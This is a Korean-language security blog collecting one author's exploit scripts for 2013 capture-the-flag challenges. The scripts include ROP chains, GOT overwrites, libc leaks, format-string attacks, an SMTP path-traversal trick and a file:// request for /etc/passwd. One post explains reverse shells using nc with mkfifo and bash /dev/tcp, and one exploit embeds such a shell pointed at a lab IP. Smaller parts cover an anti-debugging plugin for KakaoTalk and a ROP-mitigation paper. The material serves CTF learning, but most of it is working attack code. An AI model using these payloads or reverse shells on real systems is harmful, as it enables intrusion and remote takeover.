from socket import * from struct import * import hmac from hashlib import sha1   # contents: 0x804bdf4 # 0804: 0x8048584+7 # 8f: 804bda4+1 # 30: 80482a4   rand_plt = 0x08048f30 rand_got = 0x804bd98 memcpy = 0x8048e60 gContents = 0x804bdf4 ppppr = 0x804a26c   pop_ebx = 0x8049402 # pop ebx ; pop ebp ;; pop_eax = 0x8049b4f # pop eax ; add esp 0x5c ;; add_eax_ebx = 0x80493f9 # add eax 0x804bde4 ; add [ebx+0x5d5b04c4] eax ;; leave_ret = 0x8049431 # leave;;   s = socket(AF_INET, SOCK_STREAM) s.connect(('192.168.197.130',20003))   raw_input('go?') get=s.recv(1024).rstrip() token = get[1:len(get)-1] print token   cmd = "id\x00"   payload = "" payload += pack('<L',pop_ebx) payload += pack('<L',(rand_got - 0x5d5b04c4)&0xFFFFFFFF) # ebx payload += "AAAA" # ebp   payload += pack('<L',pop_eax) payload += pack('<L',0xf7fbd6cc) payload += "A"*(0x5c)   payload += pack('<L',add_eax_ebx) # eax = 0x94b0   payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-5) payload += pack('<L',0x8048584+7) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-6) payload += pack('<L',0x8048584+8) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-7) payload += pack('<L',0x804bbb4+1) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-8) payload += pack('<L',0x80482a4) payload += "\\\\u0100\\\\u0000"   payload += pack('<L',ppppr+3) payload += pack('<L', gContents-12) # ebp   payload += pack('<L',leave_ret)   lists = range(ord('a'),ord('z')+1)+range(ord('A'),ord('Z')+1)+range(ord('0'),ord('9')+1)   breakall=0   for i in lists: for j in lists: for k in lists: for l in lists: trys = chr(i)+chr(j)+chr(k)+chr(l) print trys json = '{"contents":"mkfifo /tmp/tunz; nc 192.168.197.128 31337 0< /tmp/tunz | /bin/sh 1> /tmp/tunz;", "title":"'+trys+"A"*123+"\\\\u0030"+"A"*31+payload+'", "serverip":"192.168.197.128:31337"}' checksum = hmac.new(token,token+"\n"+json,sha1).hexdigest() print checksum if checksum[0:4] == "0000": breakall=1 break if breakall==1: break if breakall==1: break if breakall==1: break   print "Send: "+token+"\n"+json print checksum   s.send(token+"\n"+json) s.close()


posted by tunz

몇몇 라이트업들을 보니 "nc -e /bin/sh IP PORT" 등으로 리버스텔넷을 하는 경우가 있다.

근데, 난 안됀다... e옵션이 없다.

그래서 찾아본 다른 방법


victim

system("mkfifo /tmp/tunz; nc IP PORT 0< /tmp/tunz | /bin/sh 1> /tmp/tunz")


attacker

$ nc -l -p PORT -vvv


(단, 접속후 큐파일, /tmp/tunz은 꼭 지우도록 한다.)



추가)


/bin/bash -i >& /dev/tcp/IP/PORT 0>&1


/dev/tcp 가 있으면 그냥, 저기에 IP,PORT만 써넣으면 됌

posted by tunz



from socket import *
from struct import *
import time
 
def cipher(s,key):
        i=0
        after=""
        while i<len(s):
                after += chr(ord(s[i])^ ord(key[i%128]))
                i=i+1
        return after
 
read = 0x8048860
write = 0x080489c0
ppppr = 0x80499bc
bss = 0x0804b520
write_got = 0x804b3dc
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.197.130',20002))
 
time.sleep(1)
 
s.recv(1024)
 
msg="\x00"*128
s.send("E"+pack('<I',len(msg))+msg)
s.recv(121)
size=unpack('<I',s.recv(4))[0]
s.recv(1)
key = ""
while len(key) < 128:
        key += s.recv(1024)
print "[+] Get xor key"
 
cmd="id\x00"
 
payload = "A"*131088
payload += pack('<I',read)
payload += pack('<I',ppppr+1)
payload += pack('<I',0)
payload += pack('<I',bss)
payload += pack('<I',len(cmd))
 
payload += pack('<I',write)
payload += pack('<I',ppppr+1)
payload += pack('<I',1)
payload += pack('<I',write_got)
payload += pack('<I',4)
 
payload += pack('<I',read)
payload += pack('<I',ppppr+1)
payload += pack('<I',0)
payload += pack('<I',write_got)
payload += pack('<I',4)
 
payload += pack('<I',write) # system
payload += "AAAA"
payload += pack('<I',bss)
 
payload = cipher(payload,key)
 
s.send("E"+pack('<I',len(payload))+payload)
s.recv(121)
total=0
while total < len(payload):
        total += len(s.recv(65000))
s.send("Q")
 
s.send(cmd)
 
get = s.recv(4)
write_addr = unpack('<I',"0"*(4-len(get))+get)[0]
system_addr = write_addr - 0xc12c0 + 0x3cb20
print "[+] System: "+hex(system_addr)
 
s.send(pack('<I',system_addr))
 
print s.recv(1024)
 
s.close()


posted by tunz






import socket
import sctp
from struct import *
 
s = sctp.sctpsocket_tcp(socket.AF_INET)
s.connect(('188.40.147.118',1024))
#s.connect(('127.0.0.1',1024))
print s.recv(1024)
cmd = "system\x00"
s.sctp_send(cmd+"A"*(24-len(cmd))+pack('<Q',0x401120)+"EEEEEEEE"+"\n",stream=9)
get=s.recv(1024)
system=int(get[2:],16)
print "System: "+hex(system)
cmd = "id>&4\x00"
s.sctp_send(cmd+"A"*(24-len(cmd))+pack('<Q',system)+"EEEEEEEE"+"\n",stream=9)
get=s.recv(1024)
print get
 
s.close()


'Computer Security > CTF' 카테고리의 다른 글

[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
[defcon 2013] annyong exploit  (1) 2013.06.28
posted by tunz






import smtplib import sys   sender = 'hans@ck.er' receivers = ['test@b3.ctf.sigint.ccc.de']   if sys.argv[1] == "tunz": message = """From: ~~~~~~your email address~~~~~~ To: cloud <test@b3.ctf.sigint.ccc.de> Subject: get passwd   This is a test e-mail message. """ else: message = """From: /../../../../../../../etc@asdf.com To: cloud <test@b3.ctf.sigint.ccc.de> Subject: share passwd ~~~~~~your email address~~~~~~   This is a test e-mail message. """   print message     smtpObj = smtplib.SMTP('localhost') smtpObj.sendmail(sender, receivers, message) print "Successfully sent email"


'Computer Security > CTF' 카테고리의 다른 글

[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
[defcon 2013] annyong exploit  (1) 2013.06.28
[defcon 2013] gnireenigne, musicman, exploit  (0) 2013.06.17
posted by tunz




from socket import *
import sys
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('188.40.147.125',8080))
#s.connect(('localhost',8080))
s.send("GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n")
get=s.recv(65000)
print get


posted by tunz

카톡이 더미다로 패킹이 되어있어서, 올리디버거를 감지하면 카톡이 꺼진다.


그럴때 사용하는 플러그인



StrongOD v0.4.8.892.zip


posted by tunz

대회때 푼건 아니고, 끝나고 연습용으로 품.


64bit, PIE, xinetd 환경.


실제 대회에서는 system offset은 브루트포싱으로 알아낼수있음.


from socket import *
from struct import *
import sys
 
cmd = "ls -al\x00"
 
s = socket(AF_INET,SOCK_STREAM)
s.connect(('localhost',5679))
 
# mov rdi rsi 0x1086
# write 0xfe3
 
s.send("%265$p\n")
get=s.recv(1024)
base_addr = int(get[2:],16) - 0x1127
print "base_addr: "+hex(base_addr)
 
s.send("%4$p\n")
get=s.recv(1024)
buf = int(get[2:],16)
print "buf_addr: "+hex(buf)
 
s.send("%7$s    "+pack('<Q',base_addr+0x202058)+"\n")
get=s.recv(1024)
fgets_addr = unpack('<Q',get[:6]+"\x00\x00")[0]
print "fgets_addr: "+hex(fgets_addr)
 
payload = ""
payload += cmd
payload += pack('<Q',base_addr+0x1086)
payload += "A"*(0x810-len(payload))
payload += "A"*8 # rbp
payload += pack('<Q',base_addr+0x1196)
payload += "A"*8
payload += pack('<Q',0) # rbx
payload += pack('<Q',1) # rbp
payload += pack('<Q',buf+len(cmd)) # r12
payload += pack('<Q',0) # r13
payload += pack('<Q',buf) # r14
payload += pack('<Q',0) # r15
payload += pack('<Q',base_addr+0x1183) # mov rsi r14; call *(r12+rbx*8)
payload += pack('<Q',0)
payload += pack('<Q',0)
payload += pack('<Q',buf)
payload += pack('<Q',1)
payload += pack('<Q',2)
payload += pack('<Q',3)
payload += pack('<Q',4)
payload += pack('<Q',fgets_addr-0x28E40) # system
payload += "\n"
 
s.send(payload)
print s.recv(1024)
print s.recv(1024)
s.close()


posted by tunz
  • hea 2013.11.30 02:01

    안녕하세요. PIE 에 대해서 공부해보고 싶은데 인터넷상의 문서가 너무 없더라구요.. 혹시 추천해주시는 문서나 괜찮으시다면 직접 설명좀 부탁드리겠습니다.

요즘 보안쪽 논문을 보면, 생각했던것과 많이 달라 이쪽 대학원을 가야하나 말아야하나 망설여지지만, 그중 이 논문은 가장 괜찮았다.


Smashing the Gadgets: Hindering Return-Oriented Programming Using In-Place Code Randomization


ROP gadget을 없애는 방법을 제시하고있는데, 그중 가장 기억에 남는건 첫번째 방법인 Atomic Instruction Substitution이다.


linux계열을 ROP로 공격할땐, 별로 소용이 없을것 같긴 하지만,

windows계열에서는 꽤나 도움이 될듯하다.


이 논문에서 예를 든건


cmp al,bl 과 같은것들을 cmp bl,al로 바꿈으로써, ret(C3)를 없앤다는 내용이다.

의미상으로는 전혀 다른게 없지만, ret이 없어짐으로써 가젯으로는 소용이 없어졌다.

속도상의 손해도 거의 없을것 같다.


사실 이방법만으로는 가젯파괴가 많이 힘들지도 모르지만, 

단순한 아이디어치고는 상당히 괜찮은것 같다.

posted by tunz
  • hea 2013.11.17 22:54

    안녕하세요 tunz님 rop공부하다가 의문점이 생겨 질문드립니다.
    rop시 got overwrite를 하면서 add 가젯을 써주던데 add가젯이 정확히 어느용도인지 이해가 안되더라구요..
    페이로드 인사이드를 보면 9쪽에 offset을 ecx에 로드하고 ecx는 add가젯을 통해 ebp+0x5b042464와 더해진 뒤 execve()의 주소를 printf@GOT에 써준다는데 이부분좀 자세히좀 풀어서 설명해주실수 있을련지요..

    • tunz 2013.11.17 23:59 신고

      ROP라는게 ret을 이용한 프로그래밍이라는 뜻입니다.
      GOT에서 printf의 주소를 덮어 쓰는 방법은 여러가지가 있는데,
      send,recv 함수등이 바이너리 안에서 사용되었다면, send로 printf의 주소를 익스플로잇쪽에 보내고 더한후에 recv함수로 printf의 주소를 덮어 주는 방법등으로 간단하게 할수도 있지만,
      이런방법이 불가능 하다면, print GOT의 주소를 eax에 어떻게든 넣어서 (pop eax; ret; 등을 이용해서) add [eax], ebx; ret; 이라는 가젯이 있다면, ebx또한 마찬가지로 조작한후, 위의 가젯을 이용하면 printf GOT의 주소를 조작할수 있습니다.
      보기좋게 add [eax], ebx; 와 같은 간단한 가젯이 있으면 좋겠지만, 만약 저런게 없고, add [eax + 0x123123] , ebx;라는 가젯이 대신 있을경우에도, eax를 (printf GOT - 0x123123)으로 맞춰주면 같은 작업을 할수있습니다.

파일 헤더의 41~44바이트 부분을 조작함으로써, ReadChar 함수에서 읽는 부분을 조작할 수 있다.


이렇게 오프셋을 100만칸 옮기고, 파일을 다운받는다.


그리고 , IDA로 ReadChar의 소스를 긁어와서 컴파일 한후, 다운받은 파일을 다시 글자로 변환한다.


from socket import * from struct import *   s = socket(AF_INET,SOCK_STREAM) s.connect(('musicman.shallweplayaga.me',7890)) length=0 f = open('file','wb') while True: get=s.recv(0xffff) f.write(get) length = length + len(get) if length >= 211724: break f.close() print "recv1 end" f = open('file','rb') send_data=f.read() f.close() offset = unpack('<I',send_data[40:44])[0] offset = pack('<I',offset+1000000) s.send(send_data[:40]+offset+send_data[44:]) print "send" total=0 f = open('file2','wb') while True: get = s.recv(50000) total = total+ len(get) f.write(get) print "total: "+str(total) #print s.recv(50000) f.close() s.close()


posted by tunz